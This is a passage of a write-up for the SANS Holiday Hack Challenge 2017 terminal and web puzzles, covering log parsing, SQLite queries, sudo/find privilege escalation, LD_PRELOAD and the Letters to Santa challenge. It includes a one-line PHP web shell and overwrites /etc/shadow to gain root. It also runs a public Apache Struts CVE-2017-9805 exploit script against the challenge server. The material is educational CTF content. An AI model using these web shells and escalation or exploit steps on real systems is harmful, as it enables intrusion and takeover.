figure out what special programs are installed on a certain
system. Another useful trick is using find to see what changes were
made to the system after it was installed. Let's take a quick look at
qemu-arm
and at another file we know was changed, trainstartup
:
elf@784e43534178:~$ stat /usr/bin/qemu-arm trainstartup File: '/usr/bin/qemu-arm' Size: 1725888 Blocks: 3376 IO Block: 4096 regular file Device: 801h/2049d Inode: 1049395 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2017-09-20 14:01:57.000000000 +0000 Modify: 2017-09-20 14:01:57.000000000 +0000 Change: 2017-12-06 20:01:07.719592650 +0000 Birth: - File: 'trainstartup' Size: 454636 Blocks: 888 IO Block: 4096 regular file Device: 801h/2049d Inode: 1049511 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2017-12-07 18:43:55.000000000 +0000 Modify: 2017-12-07 18:43:55.000000000 +0000 Change: 2017-12-07 18:43:58.191037092 +0000 Birth: -
If we look at the change time (or ctime
), we can see that this
system was setup around December 6th, with the status of
trainstartup
being changed the next day. An important thing to
remember with ctime
is that the file contents didn't change, but
some data in the file inode did (permissions, creation,
etc.). Normally, we might use something like the modification time,
but that doesn't work well for files installed from packages.
A common way to setup a system is to first add sources to the package
manager, then install any necessary packages, and make any additional
modifications to a system. Let's use find
to see what files were
modified after /etc/apt
was changed, and we'll look for files with
arm
in the name:
elf@784e43534178:~$ find / -xdev -cnewer /etc/apt/sources.list | grep -w arm /usr/bin/qemu-arm /usr/share/man/man1/qemu-arm.1.gz
In this case, I'm using -xdev
to restrict the find
to files on the
same device (thus excluding /sys
, /proc
, etc.).
If that still didn't work, here's a one-liner to sort the files on the
system according to when their ctime
was modified. This would enable
you to see a complete timeline of changes to files:
elf@784e43534178:~$ find / -xdev -printf "%C+\t%p\n" | sort | head 2017-12-04+14:36:51.7363603170 /bin/bash 2017-12-04+14:36:51.7363603170 /bin/bunzip2 2017-12-04+14:36:51.7363603170 /bin/bzcat 2017-12-04+14:36:51.7363603170 /bin/bzcmp 2017-12-04+14:36:51.7363603170 /bin/bzdiff 2017-12-04+14:36:51.7363603170 /bin/bzegrep ...
Common Pitfalls
This terminal was tricky because almost no information was
given. Knowing how to use file
to identify that trainstartup
was
an ARM binary, and knowing how to find qemu-arm
was key.
If you simply google "cannot execute binary file: Exec format error" it will lead you down a rabbit hole. Normally, this error is caused by downloading a binary for the wrong architecture and the fix is to simply re-download the right binary. In this case, we can't download a version of the binary built for the correct architecture. What we need to do is "Run arm binary on amd64". Searching for this points us to using qemu as an emulator.
Bumble's Bounce
Question
._ _. (_) (_) <> \ / <> .\::/. \_\/ \/_/ .:. _.=._\\//_.=._ \\// .. \o/ .. '=' //\\ '=' _<>_\_\<>/_/_<>_ :o| | |o: '/::\' <> / /<>\ \ <> ~ '. ' .' ~ (_) (_) _ _ _ //\\ _ >O< ' ' /_/ \_\ / /\ /\ \ _ .' . '. _ \\// <> / \ <> :o| | |o: /\_\\><//_/\ '' /o\ '' '.| |.' \/ //><\\ \/ ':' . ~~\ /~~ . _//\\_ jgs _\_._\/_._/_ \_\ /_/ / ' /\ ' \ \o/ o ' __/ \__ ' _o/.:|:.\o_ o : o ' .'| |'. .\:|:/. '.\'/.' . -=>>::>o<::<<=- :->@<-: : _ '/:|:\' _ .'/.\'. '.___/*\___.' o\':|:'/o o : o \* \ / */ /o\ o >--X--< /*_/ \_*\ .' \*/ '. : ' Minty Candycane here, I need your help straight away. We're having an argument about browser popularity stray. Use the supplied log file from our server in the North Pole. Identifying the least-popular browser is your noteworthy goal.
How to find the terminal
From this game: https://2017.holidayhackchallenge.com/game/dbb44df8-af5e-4136-b72e-ebd9dfb32b4a
Direct link: https://docker2017.holidayhackchallenge.com/?challenge=595aeb87-d3b2-41a3-b612-fa553a30e822&uid=USER_ID
Figure 9: The terminal is located at the top of the right hand hill in the red circle. GreatBookPage5.pdf is on the same hill identified by the blue circle.
Hints
Minty Candycane on Twitter has some hints
Oh wow, @Sw4mp_f0x and @bluscreenofjeff did a great job on this Parsing for Pentesters series! https://t.co/g1LcCWjH4Q
— Minty Candycane (@SirMintsALot) December 5, 2017
The only thing that last article didn't really help me with was *counting* unique lines. This post looks super helpful for that! https://t.co/QaPQ4Ml0JD (it's even against web server logs, just the wrong field)
— Minty Candycane (@SirMintsALot) December 7, 2017
Approach
A directory listing shows that terminal contains a binary called 'runtoanswer', as well as fairly large 'access.log' file:
elf@784e43534178:~$ ls -lh total 29M -rw-r--r-- 1 root root 24M Dec 4 17:11 access.log -rwxr-xr-x 1 root root 5.0M Dec 11 17:31 runtoanswer elf@784e43534178:~$ wc -l access.log 98655 access.log elf@784e43534178:~$ head -n1 access.log XX.YY.66.201 - - [19/Nov/2017:06:50:30 -0500] "GET /robots.txt HTTP/1.1" 301 185 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
This log format should should seem familiar to sysadmins. The "Common Log Format" actually used to be called the "NCSA Common Log Format" when it was used by NCSA HTTPd in 1993 (before that became Apache). Please don't blame us for how bad this format is! The fact that a challenge is simply to parse this format should be indication enough that somewhere along the way, mistakes were made. Fields are separated by spaces. …except for the timestamp, which is wrapped in brackets. …and the request, which is the "method uri protocol." …and of course the user-agent. Some fields are hex-encoded, too!
All we want is the user-agent strings, so we can split the log lines on the double quote char.
Solution
Our solution is to use the cut
tool, along with sort
and uniq
to find the least popular browser.
cut
is very limited compared to tools like awk
or sed
, but it is often simpler
to use. We just need to grab the right field. We can experiment on just the
first line using head
and figure this out using trial and error:
elf@784e43534178:~$ head -n 1 access.log |cut -d '"' -f 4 - elf@784e43534178:~$ head -n 1 access.log |cut -d '"' -f 5 elf@784e43534178:~$ head -n 1 access.log |cut -d '"' -f 6 Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
The 6th field is the user agent. We also only want everything to the left of the first slash, so different versions of the same browser are merged:
elf@784e43534178:~$ head -n 1 access.log |cut -d '"' -f 6|cut -d / -f 1 Mozilla
Now that the browser is isolated, we can switch head -n 1
with cat
, and use the
standard sort | uniq -c | sort -n
to grab a frequency:
elf@784e43534178:~$ cat access.log |cut -d '"' -f 6|cut -d / -f 1|sort|uniq -c|sort -n|tail -n 5 33 slack 34 Googlebot-Image 143 - 422 Slack-ImgProxy (+https: 97896 Mozilla
Oops. Mixed up the ordering, need the first 5, not the last 5:
elf@784e43534178:~$ cat access.log |cut -d '"' -f 6|cut -d / -f 1|sort|uniq -c|sort -n|head -n 5 1 Dillo 2 (KHTML, like Gecko) Chrome 2 Slackbot-LinkExpanding 1.0 (+https: 2 Telesphoreo 2 Twitter
Looks like Justin's favorite lightweight browser from 2001 is not very popular these days.
We can also confirm that the log file only has a single entry for this user-agent:
elf@784e43534178:~$ grep Dillo access.log XX.YY.54.139 - - [27/Nov/2017:19:41:49 -0500] "GET /invoker/JMXInvokerServlet HTTP/1.1" 301 185 "-" "Dillo/3.0.5"
Common Pitfalls
The most common issue appeared to be the result of not normalizing the different browser versions. If you count each VERSION of a browser as a separate program, you will get a result like:
elf@784e43534178:~$ cat access.log |cut -d '"' -f 6|sort|uniq -c|sort -n|head -n 5 1 Dillo/3.0.5 1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTML, like Gecko) 1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1 1 Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
or like:
elf@784e43534178:~$ cat access.log |cut -d '"' -f 6|cut -d ' ' -f 1|sort|uniq -c|sort -n 1 Dillo/3.0.5 1 curl/7.35.0
I Don't Think We're In Kansas Anymore
Question
* .~' O'~.. ~'O'~.. ~'O'~..~' O'~..~'O'~. .~'O'~..~'O'~ ..~'O'~..~'O'~. .~'O'~..~'O'~..~' O'~..~'O'~..~'O'~.. ~'O'~..~'O'~..~'O'~.. ~'O'~..~'O'~..~'O'~..~' O'~..~'O'~..~'O'~..~'O'~. .~'O'~..~'O'~..~'O'~..~'O'~ ..~'O'~..~'O'~..~'O'~..~'O'~. .~'O'~..~'O'~..~'O'~..~'O'~..~' O'~..~'O'~..~'O'~..~'O'~..~'O'~.. ~'O'~..~'O'~..~'O'~..~'O'~..~'O'~.. ~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~' O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~. .~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~ ..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~. .~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~' O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~.. Sugarplum Mary is in a tizzy, we hope you can assist. Christmas songs abound, with many likes in our midst. The database is populated, ready for you to address. Identify the song whose popularity is the best.
How to find the terminal
From this game: https://2017.holidayhackchallenge.com/game/5bbfc970-71d2-4c9d-816c-25955536c168
Direct link: https://docker2017.holidayhackchallenge.com/?challenge=ab13b9fc-6e7c-4477-a8a1-bca7b616b877&uid=USER_ID
This one's tricky. You can strip out the poppies in your browser, and then the terminal can easily be seen on the left side.
Figure 10: If you take away the poppies the terminal can easily be seen on the left hand side of the field.
Background Information
When we login, we see we have two files of interest in our current
directory: christmassongs.db
and runtoanswer
.
If we try running runtoanswer
, we see:
elf@784e43534178:~$ ./runtoanswer Starting up, please wait...... Enter the name of the song with the most likes:
The SANS Pen-Test Blog had a post about essential SQL commands, which might be useful:
Your Pokemon Guide for Essential SQL Pen Test Commands https://pen-testing.sans.org/blog/2017/12/09/your-pokemon-guide-for-essential-sql-pen-test-commands
Hints
Sugarplum Mary on Twitter has a hint:
Hey @PepperyGoodness, can you help me with an SQL problem I've seen? I think I need to do GROUP BY, but I'm not quite sure of the syntax.
— SugerPlum Mary (@ThePlumSweetest) December 13, 2017
Approach
Let's see exactly what this "db" file is:
elf@784e43534178:~$ less christmassongs.db bash: less: command not found elf@784e43534178:~$ more christmassongs.db SQLite format 3 ...
sqlite! Ok! Let's start up sqlite and change some output options
elf@784e43534178:~$ sqlite3 christmassongs.db SQLite version 3.11.0 2016-02-15 17:29:24 Enter ".help" for usage hints. sqlite> .mode tabs sqlite> .headers on
Now, let's see what we are working with here.
sqlite> .schema CREATE TABLE songs( id INTEGER PRIMARY KEY AUTOINCREMENT, title TEXT, artist TEXT, year TEXT, notes TEXT ); CREATE TABLE likes( id INTEGER PRIMARY KEY AUTOINCREMENT, like INTEGER, datetime INTEGER, songid INTEGER, FOREIGN KEY(songid) REFERENCES songs(id) );
As a sanity check, let's see what one record of each looks like.
sqlite> select * from songs limit 1;
id | title | artist | year | notes |
---|---|---|---|---|
1 | A' Soalin' | Peter, Paul & Mary | 1963 | From the album Moving. Written by Paul Stookey, Tracy Batteste & Elaina Mezzetti. |
sqlite> select * from likes limit 1;
id | like | datetime | songid |
---|---|---|---|
1 | 1 | 1487102189 | 250 |
Two tables, "songs", and "likes". likes.songid
matches up with songs.id
.
This means we can join the two tables together on songs.id=likes.songid
. Once that
is done, the solution requires the count of likes grouped by title:
sqlite> select title, count(*) from songs, likes where songs.id=likes.songid group by title order by count(*) desc limit 3;
title | count(*) |
---|---|
Stairway to Heaven | 11325 |
Joy to the World | 2162 |
The Little Boy that Santa Claus Forgot | 2140 |
Solution
A one-liner is:
elf@784e43534178:~$ sqlite3 christmassongs.db "select title from songs, likes where songs.id=likes.songid group by title order by count(*) desc limit 1;" Stairway to Heaven
Alternatives
Instead of joining the tables, we can first find what the most popular songid is:
sqlite> select songid, count(*) from likes group by songid order by count(*) desc limit 3;
songid | count(*) |
---|---|
392 | 11325 |
245 | 2162 |
265 | 2140 |
and then look up what the title for that song is
sqlite> select title from songs where id=392;
title |
---|
Stairway to Heaven |
This can also be done in a single query as long as we don't care about the like count:
sqlite> select title from songs where id = (select songid from likes group by songid order by count(*) desc limit 1);
Stairway to Heaven |
This method even outperforms the join, taking about half the time to run! This is because the join has to examine all of the song titles, but the subquery method only has to look at one.
Oh Wait Maybe We Are
Question
-->*<-- /o\ /_\_\ /_/_0_\ /_o_\_\_\ /_/_/_/_/o\ /@\_\_\@\_\_\ /_/_/O/_/_/_/_\ /_\_\_\_\_\o\_\_\ /_/0/_/_/_0_/_/@/_\ /_\_\_\_\_\_\_\_\_\_\ /_/o/_/_/@/_/_/o/_/0/_\ jgs [___] My name is Shinny Upatree, and I've made a big mistake. I fear it's worse than the time I served everyone bad hake. I've deleted an important file, which suppressed my server access. I can offer you a gift, if you can fix my ill-fated redress. Restore /etc/shadow with the contents of /etc/shadow.bak, then run "inspect_da_box" to complete this challenge. Hint: What commands can you run with sudo?
How to find the terminal
From this game: https://2017.holidayhackchallenge.com/game/f09180b7-43e4-406c-83ac-924539e7b8f5
Direct link: https://docker2017.holidayhackchallenge.com/?challenge=a9d07a00-55bc-4391-a02b-71f3c4f1ec44&uid=USER_ID
Figure 11: The terminal is just behind the starting ramp on the main platform.
Background Information
We're logged in as the user elf
. We happen to know that
/etc/shadow
is where *NIX systems store the password hashes for
their users.
The system MOTD gives us a hint:
What commands can you run with sudo?
We also know that sudo
is a program that allows us to run commands with the privileges of other users and/or groups.
Goal
We need to overwrite /etc/shadow
with /etc/shadow.bak
. Basically we
need to cp /etc/shadow.bak /etc/shadow
, except that we don't have
permissions to do that directly:
elf@784e43534178:~$ cp /etc/shadow.bak /etc/shadow cp: cannot create regular file '/etc/shadow': Permission denied
Hints
Shinny Upatree on Twitter has a few hints:
I think I have some pseudo (sp?) permissions on this Unix server, but I don't know what that means. @GreenesterElf said this was a "learning opportunity" and won't give me the answer :'(
— Shinny Upatree (@ClimbALLdaTrees) December 7, 2017
Approach
If we follow the hint, we should try to figure out what commands we can run with sudo
. Let's run sudo -h
to view the help documentation:
sudo - execute a command as another user ... -l, --list list user's privileges or check a specific command; use twice for longer format ...
To follow the hint, we should run sudo
with the --list
option, to see what our privileges are:
elf@784e43534178:~$ sudo --list Matching Defaults entries for elf on 784e43534178: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User elf may run the following commands on 784e43534178: (elf : shadow) NOPASSWD: /usr/bin/find
We can run the find command, but it also mentions something about shadow. Let's give it a shot:
elf@784e43534178:~$ sudo find [sudo] password for elf:
We don't know the password. The sudo
output said we should be able to
run this without a password ("NOPASSWD"). Something's not quite
right. We can run sudo
with -l -l
as the help output said to get
some more verbose output:
elf@784e43534178:~$ sudo -l -l Matching Defaults entries for elf on 784e43534178: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User elf may run the following commands on 784e43534178: Sudoers entry: RunAsUsers: elf RunAsGroups: shadow Options: !authenticate Commands: /usr/bin/find
Ok. So sudo
lets us run the find command as the user elf
, and the group shadow. Viewing sudo -h
one more time shows us that there's an option we want to set our group to shadow
:
-g, --group=group run command as the specified group name or ID
elf@784e43534178:~$ sudo -g shadow find . ./.bashrc ./.bash_logout ./.profile
This time, sudo
let us run find without prompting us for a
password. So, we know that we can run commands as the elf
user, and
the shadow group. Is this enough to overwrite /etc/shadow
?
elf@784e43534178:~$ ls -l /etc/shadow -rw-rw---- 1 root shadow 0 Dec 15 20:00 /etc/shadow
Yes. /etc/shadow
is owned by the root
user and the shadow
group, and
the group has write permissions to it. At this point, the only thing
that's left is figuring out how to use find
in order to copy
/etc/shadow.bak
to /etc/shadow
. find
has an exec option:
actions: -delete -print0 -printf FORMAT -fprintf FILE FORMAT -print -fprint0 FILE -fprint FILE -ls -fls FILE -prune -quit -exec COMMAND ; -exec COMMAND {} + -ok COMMAND ; -execdir COMMAND ; -execdir COMMAND {} + -okdir COMMAND ;
Let's give it a shot:
elf@784e43534178:~$ sudo -g shadow find -exec cp /etc/shadow.bak /etc/shadow \;
Looks like that worked:
elf@784e43534178:~$ inspect_da_box ___ / __'. .-"""-. .-""-| | '.'. / .---. \ / .--. \ \___\ \/ /____| | / / \ `-.-;-(`_)_____.-'._ ; ; `.-" "-:_,(o:==..`-. '. .-"-, | | / \ / `\ `. \ / .-. \ \ \ | Y __...\ \ \ / / \/ /\ | | | .--""--.| .-' \ '.`---' / \ \ / / |` \' _...--.; '---'` \ '-' / jgs /_..---.._ \ .'\\_ `. `--'` .' (_) `'/ (_) / `._ _.'| .' ``````` '-...--'` /etc/shadow has been successfully restored!
Solution
A one-liner is:
sudo -g shadow find -exec cp /etc/shadow.bak /etc/shadow \; && inspect_da_box
Alternatives
Instead of using find
to directly copy the file, we can just use it to start an elevated shell:
elf@784e43534178:~$ id uid=1000(elf) gid=1000(elf) groups=1000(elf) elf@784e43534178:~$ sudo -g shadow find -exec bash \; ... elf@784e43534178:~$ id uid=1000(elf) gid=42(shadow) groups=42(shadow),1000(elf)
This shows how we can use sudo
and find
as a general privilege escalation mechanism.
Another way of doing this is by putting in a modified shadow file instead, which will have a password that we know for the root
user.
First, let's generate the password hash in the right format:
elf@784e43534178:~$ echo "password" | openssl passwd -1 -stdin $1$wDLzsvsW$0.aZ24yCO8xhhjnfHUIG3/
Now that we have a hash, we'll use sed
to modify the /etc/shadow.bak
file to have that as the password for root
. Remember to be careful in
escaping special characters in the sed
command line.
elf@784e43534178:~$ sed -e 's/root:\*/root:$1$wDLzsvsW$0.aZ24yCO8xhhjnfHUIG3/' /etc/shadow.bak | tee better.shadow root:$1$WPvxfOOK$JqDBD/DPQlpkUBOC3qTp51:17484:0:99999:7::: daemon:*:17484:0:99999:7::: bin:*:17484:0:99999:7::: sys:*:17484:0:99999:7::: sync:*:17484:0:99999:7::: games:*:17484:0:99999:7::: ...
Now, we re-run our find
command, and find that we can escalate to root
with a password of password
:
elf@784e43534178:~$ sudo -g shadow find -exec cp better.shadow /etc/shadow \; elf@784e43534178:~$ su Password: root@784e43534178:/home/elf# id uid=0(root) gid=0(root) groups=0(root)
Common Pitfalls
find
's exec syntax is a little weird, and a common mistake is forgetting to escape the semicolon at the end:
elf@784e43534178:~$ sudo -g shadow find -exec cp /etc/shadow.bak /etc/shadow ; find: missing argument to `-exec'
Another issue is just the fact that sudo
is often set up for user
permissions, and not group permissions, so the -g
flag is less well
known.
We're Off To See The
Question
.--._.--.--.__.--.--.__.--.--.__.--.--._.--. _(_ _Y_ _Y_ _Y_ _Y_ _)_ [___] [___] [___] [___] [___] [___] /:' \ /:' \ /:' \ /:' \ /:' \ /:' \ |:: | |:: | |:: | |:: | |:: | |:: | \::. / \::. / \::. / \::. / \::. / \::. / jgs \::./ \::./ \::./ \::./ \::./ \::./ '=' '=' '=' '=' '=' '=' Wunorse Openslae has a special challenge for you. Run the given binary, make it return 42. Use the partial source for hints, it is just a clue. You will need to write your own code, but only a line or two.
How to find the terminal
From this game: https://2017.holidayhackchallenge.com/game/30a9c19a-f931-4367-9922-d20b91314eec
Direct link: https://docker2017.holidayhackchallenge.com/?challenge=96452ffb-5153-4473-9fe4-f0ff7921308e&uid=USER_ID
Figure 12: The terminal is on a peak off to the side.
Background Information
We are logged in as the user elf
.
The MOTD tells us:
Run the given binary, make it return 42. Use the partial source for hints, it is just a clue. You will need to write your own code, but only a line or two.
Two files are provided
-rwxr-xr-x 1 root root 84824 Dec 16 16:47 isit42 -rw-r--r-- 1 root root 654 Dec 15 19:59 isit42.c.un
Goal
For this challenge we need to write our own code in order to make the provided binary isit42
return 42.
Hints
Wunorse Openslae (that's a stretch) on Twitter actually has no useful hints
This blog post, Go To The Head Of The Class: LD_PRELOAD For The Win, by Jeff McJunkin was useful.
Approach
Our team actually did this exact thing last year in order to derandomize wumpus
.
In this case looking at the source code we can identify the exact code that is being used to randomize the program:
int getrand() { srand((unsigned int)time(NULL)); printf("Calling rand() to select a random number.\n"); // The prototype for rand is: int rand(void); return rand() % 4096; // returns a pseudo-random integer between 0 and 4096 }
If we create our own library file to define rand()
we can remove the randomness.
Solution
As mentioned in the hints section above, we can use Jeff McJunkin's blog post for guidance on how to complete this challenge.
First we'll need to create our own library. We can call it rand.c
.
int rand(unsigned int *seed) { return 42; }
Then we compile it using the suggested flags in the article.
elf@784e43534178:~$ gcc -o rand -ldl -shared -fPIC rand.c
Once compiled we can then use LD_PRELOAD
to load our library.
elf@784e43534178:~$ LD_PRELOAD=`pwd`/rand ./isit42 Starting up ... done. Calling rand() to select a random number. .-. .;;\ || _______ __ __ _______ _______ __ _ _______ _ _ _______ ______ /::::\|/ | || | | || | | _ || | | || || | _ | || || _ | /::::'(); |_ _|| |_| || ___| | |_| || |_| || _____|| || || || ___|| | || |\/`\:_/`\/| | | | || |___ | || || |_____ | || |___ | |_||_ ,__ |0_..().._0| __, | | | || ___| | || _ ||_____ || || ___|| __ | \,`////""""\\\\`,/ | | | _ || |___ | _ || | | | _____| || _ || |___ | | | | | )//_ o o _\\( | |___| |__| |__||_______| |__| |__||_| |__||_______||__| |__||_______||___| |_| \/|(_) () (_)|\/ \ '()' / ______ _______ _______ ___ ___ __ __ ___ _______ _:.______.;_ | _ | | || _ || | | | | | | | | | | | /| | /`\/`\ | |\ | | || | ___|| |_| || | | | | |_| | | | | _____| / | | \_/\_/ | | \ | |_||_ | |___ | || | | | | | | | | |_____ / |o`""""""""`o| \ | __ || ___|| || |___ | |___ |_ _| | | |_____ | `.__/ () \__.' | | | || |___ | _ || || | | | | | _____| | | | ___ ___ | | |___| |_||_______||__| |__||_______||_______| |___| |___| |_______| / \|---| |---|/ \ | (|42 | () | DA|) | _ ___ _______ \ /;---' '---;\ / | | | || | `` \ ___ /\ ___ / `` | |_| ||____ | `| | | |` | | ____| | jgs | | | | |___ || ______| ___ _._ |\|\/||\/|/| _._ | || |_____ | | / .-\ |~~~~||~~~~| /-. \ |___||_______||___| | \__.' || '.__/ | `---------''---------` Congratulations! You've won, and have successfully completed this challenge.
Alternatives
Another option is to just brute force it. The sample code shows that the program is using
return rand() % 4096; // returns a pseudo-random integer between 0 and 4096
This means we should only need to run the program a few thousand times for the result to be 42. However, if we try to run the program too quickly, we notice we get the same output each time:
elf@784e43534178:~$ ./isit42 & ./isit42 & [1] 31 [2] 32 elf@784e43534178:~$ Starting up ... Starting up ... done. Calling rand() to select a random number. done. Calling rand() to select a random number. 945 is not 42. 945 is not 42. [1]- Exit 177 ./isit42 [2]+ Exit 177 ./isit42
This is because the program uses the current timestamp in seconds as a random seed. Running the program more than once a second will not help us.
If we run this:
elf@784e43534178:~$ while true;do ./isit42 ; done
We will get a different answer every time, but since the program contains a sleep(3) that will only run one attempt every 3 seconds instead of one attempt per second. To fix this, we can run each attempt in the background using &, sleeping 1 second between attempts:
elf@784e43534178:~$ while true;do ./isit42 &sleep 1;done
After a short wait, it succeeds:
Calling rand() to select a random number. [860] Exit 37 ./isit42 [865] 1869 Starting up ... 3566 is not 42. done. Calling rand() to select a random number. [861] Exit 199 ./isit42 [866] 1871 Starting up ... .-. .;;\ || _______ __ __ _______ _______ __ _ _______ _ _ _______ ______ /::::\|/ | || | | || | | _ || | | || || | _ | || || _ | /::::'(); |_ _|| |_| || ___| | |_| || |_| || _____|| || || || ___|| | || |\/`\:_/`\/| | | | || |___ | || || |_____ | || |___ | |_||_ ,__ |0_..().._0| __, | | | || ___| | || _ ||_____ || || ___|| __ | \,`////""""\\\\`,/ | | | _ || |___ | _ || | | | _____| || _ || |___ | | | | | )//_ o o _\\( | |___| |__| |__||_______| |__| |__||_| |__||_______||__| |__||_______||___| |_|
Answers
Game: This Page Fell off a Truck
Question
Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?
Solution
This question simply requires playing the Winter Wonder Landing game level, and redirecting the snowball to collect the first Great Book page, GreatBookPage1.pdf.
Figure 13: Location of Great Book Page 1. You will need to roll over it with a snowball.
This challenge was primarily to get players introduced to the game aspect of the Holiday Hack, and to give us a sample of the book pages that we'll be looking for.
L2S: Letters to Santa
Question
Investigate the Letters to Santa application at https://l2s.northpolechristmastown.com/. What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball's password?
For hints associated with this challenge, Sparkle Redberry in the Winconceivable: The Cliffs of Winsanity Level can provide some tips.
Background Information
We know that there is an application on https://l2s.northpolechristmastown.com
that we need to investigate.
This webpage is publically accessible from the Internet and not appear to require any special measures to
access it. We do not know Alabaster password or username at the start of this challenge nor what type of
web service is running on the host.
The following hints were provided by Sparkle Redberry from completing the level Winconceivable: The Cliffs of Winsanity:
We're excited to debut the new Letters to Santa site this year. Alabaster worked hard on that project for over a year. I got to work with the development version of the site early on in the project lifecycle.
Near the end of the development we had to rush a few things to get the new site moved to production. Some development content on the letter page should probably have been removed, but ended up marked as hidden to avoid added change control paperwork.
Alabaster's primary backend experience is with Apache Struts. I love Apache and have a local instance set up on my home computer with a web shell. Web shells are great as a backdoor for me to access my system remotely. I just choose a really long complex file name so that no one else knows how to access it.
A simple web shell is to create a PHP file in the web root with <?php echo "<pre>" . shell_exec($_GET['e']) . "</pre>"; ?>
. Then, I visit the URL with my commands. For example, http://server/complexFileName.php?e=ls
.
There are lots of different web shell tools available. You can get a simple PHP web shell that is easy to use here.
That business with Equal-Facts Inc was really unfortunate. I understand there are a lot of different exploits available for those vulnerable systems. Fortunately, Alabaster said he tested for CVE-2017-5638 and it was NOT vulnerable. Hope he checked the others too.
Apache Struts uses XML. I always had problems making proper XML formatting because of special characters. I either had to encode my data or escape the characters properly so the XML wouldn't break. I actually just checked and there are lots of different exploits out there for vulnerable systems. Here is a useful article.
Pro developer tip: Sometimes developers hard code credentials into their development files. Never do this, or at least make sure you take them out before publishing them or putting them into production. You also should avoid reusing credentials for different services, even on the same system.
The following SANS Pentest Blog posts were also very helpful for this challenge:
Why You Need the Skills to Tinker with Publicly Released Exploit Code
- A Spot of Tee bash shell, and bypassing the I/O restriction with tee
Goal
There are two goals for this challenge. The first is to determine the topic of the Great Book Page that is sitting on the web root of this server. The second is to determine what Alabaster's password is.
Approach
According to the second hint there might be development code left in the production code.
If we look at the source of l2s
the following code pops out.
<!-- Development version --> <a href="http://dev.northpolechristmastown.com" style="display: none;">Access Development Version</a>
Let's do some recon on the hosts:
$ nmap -sC l2s.northpolechristmastown.com Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-03 15:36 CST Nmap scan report for l2s.northpolechristmastown.com (35.185.84.51) Host is up (0.027s latency). rDNS record for 35.185.84.51: 51.84.185.35.bc.googleusercontent.com Not shown: 996 filtered ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA) |_ 256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA) 80/tcp open http |_http-title: Did not follow redirect to https://l2s.northpolechristmastown.com/ 443/tcp open https |_http-title: Toys List | ssl-cert: Subject: commonName=dev.northpolechristmastown.com | Subject Alternative Name: DNS:dev.northpolechristmastown.com, DNS:l2s.northpolechristmastown.com | Not valid before: 2017-11-29T12:54:54 |_Not valid after: 2018-02-27T12:54:54 |_ssl-date: TLS randomness does not represent time | tls-nextprotoneg: |_ http/1.1 3389/tcp closed ms-wbt-server Nmap done: 1 IP address (1 host up) scanned in 7.04 seconds
In addition to the hidden link for dev.northpolechristmastown.com, it is also present as an alternate name on the certificate of the host. Let's let nmap's scripts scan that as well.
$ nmap -sC dev.northpolechristmastown.com Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-03 15:36 CST Nmap scan report for dev.northpolechristmastown.com (35.185.84.51) Host is up (0.028s latency). rDNS record for 35.185.84.51: 51.84.185.35.bc.googleusercontent.com Not shown: 996 filtered ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA) |_ 256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA) 80/tcp open http |_http-title: Did not follow redirect to https://dev.northpolechristmastown.com/ 443/tcp open https | http-title: Toys List |_Requested resource was /orders.xhtml | ssl-cert: Subject: commonName=dev.northpolechristmastown.com | Subject Alternative Name: DNS:dev.northpolechristmastown.com, DNS:l2s.northpolechristmastown.com | Not valid before: 2017-11-29T12:54:54 |_Not valid after: 2018-02-27T12:54:54 |_ssl-date: TLS randomness does not represent time | tls-nextprotoneg: |_ http/1.1 3389/tcp closed ms-wbt-server
We can see that dev and l2s are one and the same, which is important, since dev was not explicitly called out as being in scope. Visiting the dev page has a footer
that simply states Powered By: Apache Struts
. Let's use this to our advantage.
Let's use the tool provided through the SANS Pentest blog,
cve-2017-9805.py. The dev page
we land on is https://dev.northpolechristmastown.com/orders.xhtml so we'll use
that to start from.
Let's check out the help:
$ ./cve-2017-9805.py usage: cve-2017-9805.py [-h] [-u URL] -c COMMAND optional arguments: -h, --help show this help message and exit -u URL url of target vulnerable apache struts server. Ex- http://somevulnstrutsserver.com/orders.xhtml -c COMMAND command to execute against the target. Ex - /usr/bin/whoami
The example URL is http://somevulnstrutsserver.com/orders.xhtml
. How fortituous!
$ python cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c 'ls' [+] Encoding Command [+] Building XML object [+] Placing command in XML object [+] Converting Back to String [+] Making Post Request with our payload [+] Payload executed
Looks like we need to modify the program to let us see what it's doing by uncommenting the following line:
print request.text
